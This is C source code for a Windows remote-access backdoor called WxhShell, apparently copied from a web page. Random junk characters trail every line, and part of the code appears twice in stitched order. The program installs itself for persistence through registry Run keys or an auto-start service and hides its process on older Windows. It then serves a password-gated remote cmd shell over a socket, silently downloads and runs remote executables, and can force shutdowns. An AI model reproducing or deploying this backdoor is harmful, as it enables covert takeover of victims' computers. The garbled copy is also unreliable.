    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v,z~#$T&  
    else { 9}Z;(,6/.\  
    closesocket(wsh); ~Z*7:bPN!^  
    ExitThread(0); u2`j\ Vu  
    } _5(1T%K)  
    break; HY?#r]Ryt  
    } C]l)Pz$  
  // 获取shell |!7leL  
  case 's': { =1(7T.t  
    CmdShell(wsh); ) j&khHD  
    closesocket(wsh); `L[q`r7  
    ExitThread(0); Am*lx  
    break; )R?uzX^qf  
  } s,!vBSn8  
  // 退出 UUZm]G+  
  case 'x': { p5w9X+G%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #Ufb  
    CloseIt(wsh); Ex|Z@~T12  
    break; 1^V.L+0s]  
    } Bgzq  
  // 离开 uudd'L  
  case 'q': { J7%rPJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5} ur,0{  
    closesocket(wsh); <sM_zoprc  
    WSACleanup(); U>bIQk"4  
    exit(1); 'irwecd8  
    break; ` "-P g5  
        } skTa IGRL  
  } r$'.$k\  
  } ]@Z nP,8  
&(l.jgqg&  
  // 提示信息 in,0(I&I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Shzew+  
} wq!9wk9  
  } $sg-P|Wo  
YWDgRb  
  return; j8bA"r1  
} S~ S>62  
 "^BA5  
// shell模块句柄 ggkz fg&  
int CmdShell(SOCKET sock) u^c/1H:6  
{ X eY[;}9  
STARTUPINFO si; 9HiyN>(  
ZeroMemory(&si,sizeof(si)); ; lrO?sm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CR2.kuM0~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G %\/[ B  
PROCESS_INFORMATION ProcessInfo; &DHIYj1 i  
char cmdline[]="cmd"; ?"<m{,yQI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *zDDi(@vtK  
  return 0; /-m)  
} c;-N RvVb  
FwHqID_!:l  
// 自身启动模式 "lC>_A  
int StartFromService(void) "Ms{c=XPK  
{ ?u".*!%  
typedef struct ;;XY&J  
{ bwP@}(K  
  DWORD ExitStatus; [cZ/)tm  
  DWORD PebBaseAddress; ) R5j?6}xF  
  DWORD AffinityMask; s'l|Ii  
  DWORD BasePriority; \w1',"l`  
  ULONG UniqueProcessId; ?OoI6 3&  
  ULONG InheritedFromUniqueProcessId; Z)=S>06X Q  
}   PROCESS_BASIC_INFORMATION; ePIN<F;I  
ydY 7 :D  
PROCNTQSIP NtQueryInformationProcess; $UK m[:7  
|22vNt_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `' EG7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qdKqc,R1{  
3XQe? 2:<  
  HANDLE             hProcess; 5 $$Cav  
  PROCESS_BASIC_INFORMATION pbi; X%JyC_~<  
].aFdy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AcH!KbYf  
  if(NULL == hInst ) return 0; I*(kv7(c0  
n _ ?+QF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yD.(j*bMK;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rbr:Q]zGN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gi5X ,:[  
+F-Y^):  
  if (!NtQueryInformationProcess) return 0; ^-mWk?>  
?[>Y@we  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -'d`(G"  
  if(!hProcess) return 0; %{cVG-<_iz  
:V#xrH8R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; omy3<6  
iyr8*L\  
  CloseHandle(hProcess); 99By.+~pX  
O0`ofFN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /38I (0  
if(hProcess==NULL) return 0; 77aUuP7Iw  
n_LK8  
HMODULE hMod; TvT>UBqj=  
char procName[255]; i[FYR;C  
unsigned long cbNeeded; KydAFxUb  
DKem;_6OQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )dEcKH<#  
@icw:68  
  CloseHandle(hProcess); a|4D6yUw|  
n&|N=zh  
if(strstr(procName,"services")) return 1; // 以服务启动 DcM/p8da  
T\6,@7  
  return 0; // 注册表启动 .'38^  
} n <> ^cD  
#D JZ42  
// 主模块 T<Qa`|5 >  
int StartWxhshell(LPSTR lpCmdLine) v''J@F7  
{ B~qo^ppVU  
  SOCKET wsl; i!3*)-a\~`  
BOOL val=TRUE; oAB:H \  
  int port=0; `nEqw/I  
  struct sockaddr_in door; r)Zk-!1  
./0wt+  
  if(wscfg.ws_autoins) Install(); AS~!YR  
%{:pBt:Z  
port=atoi(lpCmdLine); h <$%y(lP  
&sBD0R(a  
if(port<=0) port=wscfg.ws_port; opN4@a7l  
QLHEzEvf{/  
  WSADATA data; Jc]66   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LN<rBF[_:f  
@W$ha y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~7g$T Ae{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 88[u^aC  
  door.sin_family = AF_INET; Q!=`|X|:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EK0~ 3HSZ  
  door.sin_port = htons(port); V\r{6-%XiW  
4t/?b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r%X M`;bQX  
closesocket(wsl); W7_m,{q  
return 1; VnB HQ.C  
} EowzEGq!a5  
_!Tjb^  
  if(listen(wsl,2) == INVALID_SOCKET) { <Uf`'X\e6  
closesocket(wsl); >mJ`904L  
return 1; 'X6Y!VDd  
} JgKhrDx  
  Wxhshell(wsl); Df*<3G  
  WSACleanup(); KQ81Oxu*C  
tf8xc  
return 0; Fi;OZ>;a  
H`URJ8k$Q  
} 4/mz>eK"  
Ya!e8 3-r  
// 以NT服务方式启动 cwtlOg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (0`w.n  
{ B|$o.$5  
DWORD   status = 0; kdV9F  
  DWORD   specificError = 0xfffffff; CRNi*u  
uW#s;1H.)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hm0A%Js  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I} +up,B]o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; " Qyi/r41  
  serviceStatus.dwWin32ExitCode     = 0; !io1~GpKS  
  serviceStatus.dwServiceSpecificExitCode = 0; W$;qhB  
  serviceStatus.dwCheckPoint       = 0; ,2 W=/,5A  
  serviceStatus.dwWaitHint       = 0; <&#]|HGc  
_j0xL{&&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rbIYLVA+V  
  if (hServiceStatusHandle==0) return; afD {w*[8  
p>3QW3<  
status = GetLastError(); a;-%C{S9r  
  if (status!=NO_ERROR) cTRtMk%^  
{ QUvSeNSp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %N(>B_t\  
    serviceStatus.dwCheckPoint       = 0; #9.%>1{6Y  
    serviceStatus.dwWaitHint       = 0; HJym|G>%?  
    serviceStatus.dwWin32ExitCode     = status; BtKor6ba  
    serviceStatus.dwServiceSpecificExitCode = specificError; Hy,""Py  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h7TkMt[l  
    return; +Ig%h[1a  
  } *fv BB9raq  
Fo;:GX,b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,RY;dX-#  
  serviceStatus.dwCheckPoint       = 0; c|aX4=Z  
  serviceStatus.dwWaitHint       = 0; W(4$.uZ)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g.%} +5  
} CQa8I2VF (  
cjO %X  
// 处理NT服务事件,比如:启动、停止 .sM,U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J=: \b  
{ I^u~r.  
switch(fdwControl) mEi(DW)(  
{ Qy[S~D_  
case SERVICE_CONTROL_STOP: =&9c5"V&  
  serviceStatus.dwWin32ExitCode = 0; 2e-bt@0t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <%m1+%mA.  
  serviceStatus.dwCheckPoint   = 0; p9u'nDi  
  serviceStatus.dwWaitHint     = 0; R4JfH  
  { /QVwZrch  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K\8zhY  
  } U:3O E97  
  return; 33D2^ Sf6"  
case SERVICE_CONTROL_PAUSE: =mPe wx'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %eIaH!x:  
  break; wF%RM$  
case SERVICE_CONTROL_CONTINUE: fc<y(uX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3"v>y]$U  
  break; ']I!1>v$[  
case SERVICE_CONTROL_INTERROGATE: K{`R`SXD  
  break; lA1  
}; y06**f)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xfI0P0+  
} i4h`jFS  
9%NobT  
// 标准应用程序主函数 IvY3iRq6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^E8qI8s  
{ -mh"["L"  
]$9y7Bhj.  
// 获取操作系统版本 Ml{ ]{n  
OsIsNt=GetOsVer(); 8-k`"QI=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2fu<s^9dh  
:b %2qBv  
  // 从命令行安装 $0 vT_  
  if(strpbrk(lpCmdLine,"iI")) Install(); h!|Uj  
r<:d+5"  
  // 下载执行文件 uP r!;'J=  
if(wscfg.ws_downexe) { G `!A#As  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;s3\Z^h4kd  
  WinExec(wscfg.ws_filenam,SW_HIDE); eiyr^Sch.  
} GI,TE  
WG\ _eRj  
if(!OsIsNt) { oA7DhU5n  
// 如果时win9x,隐藏进程并且设置为注册表启动 $cJ fdE  
HideProc(); YaC[S^p  
StartWxhshell(lpCmdLine); <DR! AR)  
} _Y]Oloo('  
else 4Otq3s34FT  
  if(StartFromService()) GQhy4ji'z  
  // 以服务方式启动 ^dhx/e%s  
  StartServiceCtrlDispatcher(DispatchTable); tvFe_*Ck  
else MMpId Uhr  
  // 普通方式启动 ' 7oCWHq[  
  StartWxhshell(lpCmdLine); ITqAy1m@C  
GK1nGdT]  
return 0; Y*\h?p[,  
} ' v CMf  
& /T}  
Y`eF9Im,  
"!AtS  
=========================================== u%yYLpaKf  
qGMU>J.;c  
Xa#.GrH6  
AH/o-$C&  
cb0rkmO  
Ay 4P_>^  
" !m9hL>5vR  
/!?Tv8TPp  
#include <stdio.h> ;|?_C8  
#include <string.h> @{_X@Wv4iV  
#include <windows.h> AzZhIhWl">  
#include <winsock2.h> :Rv+Bm  
#include <winsvc.h> D]}~`SO  
#include <urlmon.h> ^gp]tAf  
p3mZw lO  
#pragma comment (lib, "Ws2_32.lib") {6RA~  
#pragma comment (lib, "urlmon.lib") `L7^f!  
*n&Sd~Mg  
#define MAX_USER   100 // 最大客户端连接数 PI`Y%!P  
#define BUF_SOCK   200 // sock buffer |gu@b~8  
#define KEY_BUFF   255 // 输入 buffer _b-g^#L%  
Qb>("j~Z  
#define REBOOT     0   // 重启 c_+fA  
#define SHUTDOWN   1   // 关机 6fI2y4yEz  
$|J+  
#define DEF_PORT   5000 // 监听端口 7 L ,`7k|  
6Y,&q|K  
#define REG_LEN     16   // 注册表键长度 MaY_*[  
#define SVC_LEN     80   // NT服务名长度 0uW)&>W  
B; NK\5>  
// 从dll定义API z;?jKE p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6|f8DX%3V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G<<; a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q(yg bT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !^98o:"x  
;}U]^LT=  
// wxhshell配置信息 8J$1N*J|  
struct WSCFG { " j?xgV  
  int ws_port;         // 监听端口 !> +Lre@  
  char ws_passstr[REG_LEN]; // 口令 %5KK#w "  
  int ws_autoins;       // 安装标记, 1=yes 0=no v@yqTZ  
  char ws_regname[REG_LEN]; // 注册表键名 c!wRq4  
  char ws_svcname[REG_LEN]; // 服务名 fS|e{!iI"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dJnKa]X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~aQR_S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C6a-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 85[ 7lO)[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~Y*.cGA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ank_;jo  
c7@/<*E+  
}; kv2o.q  
{fl[BX]kZ  
// default Wxhshell configuration LK*9`dzv=G  
struct WSCFG wscfg={DEF_PORT, `fX\pOk~e  
    "xuhuanlingzhe", g4Dck4^!4  
    1, 2W_[|.;'  
    "Wxhshell", BCz4 s{F  
    "Wxhshell", er1X Z  
            "WxhShell Service", -UzWLVB^  
    "Wrsky Windows CmdShell Service", R[v<mo[s  
    "Please Input Your Password: ", L&:A59)1k  
  1, Vraz}JV  
  "http://www.wrsky.com/wxhshell.exe", nFGX2|d  
  "Wxhshell.exe" 4 Sk@ v  
    }; W|rAn2H  
*dBmb  
// 消息定义模块 P{`fav  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l$c/!V[3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iWr #H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /c-k{5mH%  
char *msg_ws_ext="\n\rExit."; L?0IUGY  
char *msg_ws_end="\n\rQuit."; +`Nu0y!rj  
char *msg_ws_boot="\n\rReboot..."; <[}zw!z  
char *msg_ws_poff="\n\rShutdown..."; #<m2Xo?d]  
char *msg_ws_down="\n\rSave to "; %'e$N9zd  
2|RoN)%  
char *msg_ws_err="\n\rErr!"; F^!O\8PFd  
char *msg_ws_ok="\n\rOK!"; l?J[K  
g +gcH  
char ExeFile[MAX_PATH]; xele;)Y  
int nUser = 0; '@#(jY0_  
HANDLE handles[MAX_USER]; ~-lUS0duh  
int OsIsNt; )c9Xp:  
e<`?$tZ3   
SERVICE_STATUS       serviceStatus; >Jn`RsuV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lnjs{`^  
"10\y{`v^  
// 函数声明 )AdwA+-x  
int Install(void); UCj+V@{  
int Uninstall(void); sIaehe'B  
int DownloadFile(char *sURL, SOCKET wsh); >Sk%78={R  
int Boot(int flag); ,f,+)C$  
void HideProc(void); b.[9Adi >  
int GetOsVer(void); }.9a!/@Aj  
int Wxhshell(SOCKET wsl); \vV]fX   
void TalkWithClient(void *cs); zI S ,N '  
int CmdShell(SOCKET sock); xnWezO_  
int StartFromService(void); MwSfuP  
int StartWxhshell(LPSTR lpCmdLine); 0~W XA=XG  
Th\T$T`X$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '4u/g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &X` lh P  
d*k5h<jM  
// 数据结构和表定义 Rb:?%\=  
SERVICE_TABLE_ENTRY DispatchTable[] = knV*,   
{ oVbs^sbRH  
{wscfg.ws_svcname, NTServiceMain}, A(`Mwh+  
{NULL, NULL} N:+EGmp  
}; a x;<idC}  
T5T[$%]6  
// 自我安装 T<Zi67QC@  
int Install(void) p*YV*Arv  
{ DyZ6&*s$  
  char svExeFile[MAX_PATH]; 0 .T5% _ /  
  HKEY key; 9X33{  
  strcpy(svExeFile,ExeFile); Tl-%;X<X  
7AGUi+!ICl  
// 如果是win9x系统,修改注册表设为自启动 wEI? 9  
if(!OsIsNt) { bv hV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !e |Bi{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |<oqT+?i  
  RegCloseKey(key); x.|sCqx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LXrk5>9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3syA$0TZt  
  RegCloseKey(key); *nHMQ/uf  
  return 0; FoZI0p?L)9  
    } l>s@&%;Mg  
  } |90/tNe  
} }>621L3 -  
else { F,pKt.x  
la 0:jO5  
// 如果是NT以上系统,安装为系统服务 IFa~`Gf[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xy&*s\=:  
if (schSCManager!=0) 1LvR,V<  
{ Rd]<591  
  SC_HANDLE schService = CreateService NzM,0q  
  ( L|-|DOgw  
  schSCManager, 3X',L*f  
  wscfg.ws_svcname, e(b$LUV  
  wscfg.ws_svcdisp, r6aIW8  
  SERVICE_ALL_ACCESS, 2* T Ir  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D88IU9V&n  
  SERVICE_AUTO_START, U-,s/VQ?  
  SERVICE_ERROR_NORMAL, Z}>;@c  
  svExeFile, 5^ ubXA  
  NULL, 3tkCmB  
  NULL, &l_}yf"v  
  NULL, q%vel.L]%  
  NULL, }K,3SO(:  
  NULL 9}fez)m:g0  
  ); e6{E(=R[M  
  if (schService!=0) H`q[!5~8  
  { 1Id"|/b%$  
  CloseServiceHandle(schService); @"^7ASd%  
  CloseServiceHandle(schSCManager); JdWav!PYm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {'{9B  
  strcat(svExeFile,wscfg.ws_svcname); wHx_lsY;   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8.IenU9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZIh)D[n  
  RegCloseKey(key); cdSgb3B0  
  return 0; >+!Ef  
    } EaL>~: j  
  } /Q:mUd  
  CloseServiceHandle(schSCManager); mWn0"1C  
} UL%a^' hR  
} {9XNh[NbP  
"}-S%v`)z  
return 1; * y wr_9  
} 7;Q4k"h  
;3bUgI}.J  
// 自我卸载 3QdCu<eBZ  
int Uninstall(void) em- <V5fb  
{ H5UF r,t  
  HKEY key; V(io!8,  
Rs"G8Q9Q  
if(!OsIsNt) { n)35-?R/M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'W("s  
  RegDeleteValue(key,wscfg.ws_regname); %yl17:h#  
  RegCloseKey(key); ]P>XXE;[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y)(yw \&v  
  RegDeleteValue(key,wscfg.ws_regname); `}bvbvmA  
  RegCloseKey(key); <nN# K{AH  
  return 0; j}(m$j'  
  } "oF)u1_?  
} =1 S%E  
} J ^<uo (  
else { 88?O4)c  
)24M?R@r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !gfd!R  
if (schSCManager!=0) aS\$@41"  
{ ;mwnAO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %p&y/^=0I  
  if (schService!=0) zf^|H% ~^  
  { /Ah&d@b  
  if(DeleteService(schService)!=0) { ^kz(/c/?  
  CloseServiceHandle(schService); P46Q3EE  
  CloseServiceHandle(schSCManager); ?gjx7TQ?  
  return 0; v#X#F9C  
  } '4Qsl~[Eh  
  CloseServiceHandle(schService); AR$SQ_4  
  } )%n $_N n  
  CloseServiceHandle(schSCManager); MQ0r ln?  
} b&LAk-}[  
} O(D2F$VlL  
BIe:7cR%  
return 1; d/~g3n>|  
} u3tT=5.D  
U)aftH *Pk  
// 从指定url下载文件 .|s,':hA  
int DownloadFile(char *sURL, SOCKET wsh)  vP? T  
{ ~gNFcJuy  
  HRESULT hr; {0-rnSjC  
char seps[]= "/"; ,j.bdlI#  
char *token; 3hUP>F8  
char *file; V RD^>Gi  
char myURL[MAX_PATH]; MHye!T6fO\  
char myFILE[MAX_PATH]; 2\gIjXX"  
$z 5kA9  
strcpy(myURL,sURL); ;_E|I=%'E  
  token=strtok(myURL,seps); 8VO]; +N  
  while(token!=NULL) K(d+t\ca  
  { zZ<*  
    file=token; ~vM99hW  
  token=strtok(NULL,seps); }@tgc?C D  
  } jh`[ Y7RJO  
uhp.Yv@c  
GetCurrentDirectory(MAX_PATH,myFILE); zEukEA^9`  
strcat(myFILE, "\\"); {s*2d P)  
strcat(myFILE, file); !=a]Awr\  
  send(wsh,myFILE,strlen(myFILE),0); \^RKb-6n  
send(wsh,"...",3,0); U F*R1{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  jIH^  
  if(hr==S_OK) jiLJiYMg  
return 0; "dvo@n|  
else hCd? Kti  
return 1; eR6vO5to  
lCl5#L9  
} w&Gc#-B  
}N$f=:iI  
// 系统电源模块 EUQtl_h/H  
int Boot(int flag) 8Gnf_lkI  
{ \[^! ys  
  HANDLE hToken; =6Gn? /{  
  TOKEN_PRIVILEGES tkp; & 0WQF  
V'MY+#  
  if(OsIsNt) { ['sNk[-C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N0vECk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9|v%bO  
    tkp.PrivilegeCount = 1; }^p<Y5{b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oM Z94 , 3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |\G^:V[.  
if(flag==REBOOT) { ACZK]~Y'N*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VY+P c/b  
  return 0; yO!M$aOn/  
} nbf/WOCk  
else { '\xE56v)F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ot:}Ncq^\O  
  return 0; B.~] 7H5"(  
} ; D/6e6  
  } dl6U]v=  
  else { e3~{l~ Rb  
if(flag==REBOOT) { <'SS IMr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %9Z0\ a)[  
  return 0; kw]?/s`  
} Z[ (d7  
else { 6yMZ2%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _*Z3,*~"X  
  return 0; e6J^J&`|4  
} 7Zd g314  
} -57~7 <N  
()O&O+R|)  
return 1; \]5I atli  
} /sT?p=[.  
ctLNzJes%  
// win9x进程隐藏模块 2{vAs  
void HideProc(void) [Z#Sj=z  
{ 5\#I4\  
>0<n%V#s:r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5Pn.c!  
  if ( hKernel != NULL ) %DXBl:!Y`  
  { K%x]:|,>M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vd  d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x-X~'p'f  
    FreeLibrary(hKernel); BI%XF 9{  
  } #u8#< ,w  
9q_{_%G%  
return; [3nWxFz$R  
} dr:x0>  
Xo/H+[;X  
// 获取操作系统版本 cy;i1#1rO  
int GetOsVer(void) vO~  Tx  
{ CE c(2q+%i  
  OSVERSIONINFO winfo; ]77f`<q<}!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [WG\w j.  
  GetVersionEx(&winfo); *q k7e[IP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) liH#=C8l*%  
  return 1; S)j( %g  
  else :-JryiI  
  return 0; /W BmR R  
} QDJ "X  
 QSY>8P  
// 客户端句柄模块 h@G~' \8t  
int Wxhshell(SOCKET wsl) 'hs4k|B  
{ 4Yi kC  
  SOCKET wsh; 4\ Xaou2V[  
  struct sockaddr_in client; -$[&{ .B.  
  DWORD myID; 1Z @sh>X|  
s_VcC_A  
  while(nUser<MAX_USER) 9*ZlNZ  
{ sg2%BkTI  
  int nSize=sizeof(client); E1OrL.A6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mY4pvpZw8  
  if(wsh==INVALID_SOCKET) return 1; R )Arr77  
 #O\as~-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rlY0UA,  
if(handles[nUser]==0) xn503,5G*7  
  closesocket(wsh); 5}ftiy[Yc  
else m x |V)  
  nUser++; ;..z)OP_  
  } -kMw[Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1*dN. v:5  
c:7F 2+p  
  return 0; 2*z~ 'i  
} ka\{?:r,8  
W3/bM>1  
// 关闭 socket $KGMAg/H  
void CloseIt(SOCKET wsh) fPUr O  
{ *S:~U  
closesocket(wsh); 89(qU  
nUser--; pQ:^ ziwa3  
ExitThread(0); 1Ng.Ukb  
} . c+m(Pk  
0ck3II  
// 客户端请求句柄 }" vxYB!h3  
void TalkWithClient(void *cs) Qa )+Tv  
{ 2WFZ6  
$a*7Q~4  
  SOCKET wsh=(SOCKET)cs;  7N[".V]c  
  char pwd[SVC_LEN]; D4 8e30  
  char cmd[KEY_BUFF]; ?8"* B^*Sh  
char chr[1]; 9>S)*lU&s  
int i,j; :!oJmvy  
Nyy&'\`!  
  while (nUser < MAX_USER) { jo<xrn\  
HC6U_d1-6  
if(wscfg.ws_passstr) { EXr2d"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nb&j?./  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3U{ mC}F  
  //ZeroMemory(pwd,KEY_BUFF); >U{iof<  
      i=0; /)Cfm1$ic  
  while(i<SVC_LEN) { VbvP!<8  
T3{~f  
  // 设置超时 /h+ W L  
  fd_set FdRead; dnoF)(d&Cm  
  struct timeval TimeOut; \j`0 f=z_  
  FD_ZERO(&FdRead); <lf692.3  
  FD_SET(wsh,&FdRead); $e7%>*?m  
  TimeOut.tv_sec=8; BKg8p]`+  
  TimeOut.tv_usec=0; .s*N1 U?h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F8?2+w@P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '@.6Rd 8  
xj>P5\mW#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fe/;U=te  
  pwd=chr[0]; .b3h?R*&  
  if(chr[0]==0xd || chr[0]==0xa) { JVX)>2&$  
  pwd=0; h{^v756L  
  break; >80k5$t  
  } : x&R'wX-  
  i++; Gc`PO  
    } H@ 1'El\9  
$kTm"I  
  // 如果是非法用户,关闭 socket &<98n T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V&nB*U&s"  
} SZ9Oz-?  
>^jBE''  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $45|^.b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X+XDfEt:Q  
-K =.A* }  
while(1) { \DQu!l@1U  
< bC'.m  
  ZeroMemory(cmd,KEY_BUFF); .Q!d[vL  
l2St)`K8  
      // 自动支持客户端 telnet标准   Z&Ob,Ru  
  j=0; 1]Xx {j<  
  while(j<KEY_BUFF) { *gwlW/%Fz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9AVj/?kmU  
  cmd[j]=chr[0]; MrHJ)x"hy  
  if(chr[0]==0xa || chr[0]==0xd) { Pl:4`oY3  
  cmd[j]=0; M=Ze)X\E*'  
  break; \s*UUODWK  
  } B.r^'>jQ  
  j++; =SLG N`m3  
    } +fXwbZ?p  
}g/u.@E  
  // 下载文件 e^O:I  
  if(strstr(cmd,"http://")) { F;ttqL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r&4Xf# QD6  
  if(DownloadFile(cmd,wsh)) =;0-t\w!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'r]6 GC8Z$  
  else Z8$BgP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (uvQ/!  
  } LsWD^JE.  
  else {  7(+4^  
'Eur[~k  
    switch(cmd[0]) { ev;&n@k_I  
  )\Q(=:  
  // 帮助 Pb'(Y  
